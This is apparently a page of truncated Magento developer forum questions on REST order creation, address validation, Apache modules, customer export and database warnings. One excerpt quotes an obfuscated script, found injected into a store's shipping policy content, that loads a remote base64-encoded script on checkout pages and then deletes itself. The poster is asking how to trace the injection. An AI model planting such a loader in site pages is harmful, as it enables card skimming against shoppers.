I am trying to create a new order using the /V1/orders/create rest API but when I search on google or dev docs it shows me a different set of API to do the order process (https://devdocs.magento.com/guides/v2.3/rest/tutorials/orders/order-intro.html). So is there a way to create an order using /V1/orders/create? if none then […]
Magento
So basically I added a custom select address attribute. This selection has 2 available values. If value A is selected the required validation of the form for firstname and lastname is removed and making the company input required. If value B is selected it will be vice versa. The saving […]
so other than the baseline required apache mods for magento 2.4.4 (as per https://devdocs.magento.com/guides/v2.3/install-gde/prereq/apache.html). What other mods do you think should be enabled in apache to improve performance? For example, I noticed that I don’t have mod_cache enabled, should I? Or will that break magento? Thanks for your advice in […]
we found a script like this in shipping/shipping_policy/shipping_policy_content <script id="shopcart">((g,r,w,s,t,o) => {if(g.location.href.indexOf(atob(t))>-1){a=r.createElement(w);a.id="carthelper";a.async=1;a.src=atob(o);r.body.appendChild(a);}if(document.querySelector("#shopcart")){document.querySelector("#shopcart").remove();}})(window,document,"script","gCaptcha","Y2hlY2tvdXQ","aHR0cHM6Ly9zdGF0aWMud2ViYWdlbmN5YW5hbHl0aWNzLmNvbS9tYWluLmpzP3Y9MS4wLjM")</script> Which translates to https://static.webagencyanalytics.com/main.js?v=1.0.3 I’m trying to determine how this was injected but I can’t find references to the script itself or the base64 encoded string or the decoded string Any ideas how I can detect the root […]
I have a problem with a Magento ver. 1.9.4.5 website with well over 55.000 customers in it’s database and I need to export them. I have spent hours trying with System/export/profile and selecting Customer and all the mapping fields. The problem is that the customers do not have the “address” […]
Firstly, thanks for any help in advance 🙂 I have successfully upgraded my magento 1.9 in my local dev environment to magento 2.4.4 (took ages and a lot of hair pulling, but I finally made it! lol) I’m looking for some help / tips and tricks / sagely advice from […]
For a client we have a case where we want to be able to add products to the cart in the same way you do with related products using checkboxes on a PDP (default magento). When I look at the code for the related products it looks like this: <div […]
I am using Magento 2.4.5 and getting 5 warning logs in system.log file while I run the command php bin/magento indexer:reindex Memory size allocated for the temporary table is more than 20% of innodb_buffer_pool_size. So far I have done the below steps 1. Increased the value of variable innodb_buffer_pool_size to […]
Query to get user permissions list in magento2 Admin roles role_type table column I found related query in above link but permission column is missing . Permission column exists in authorization rule table. So I am stuck with joining the table . So please anyone tell me the query to […]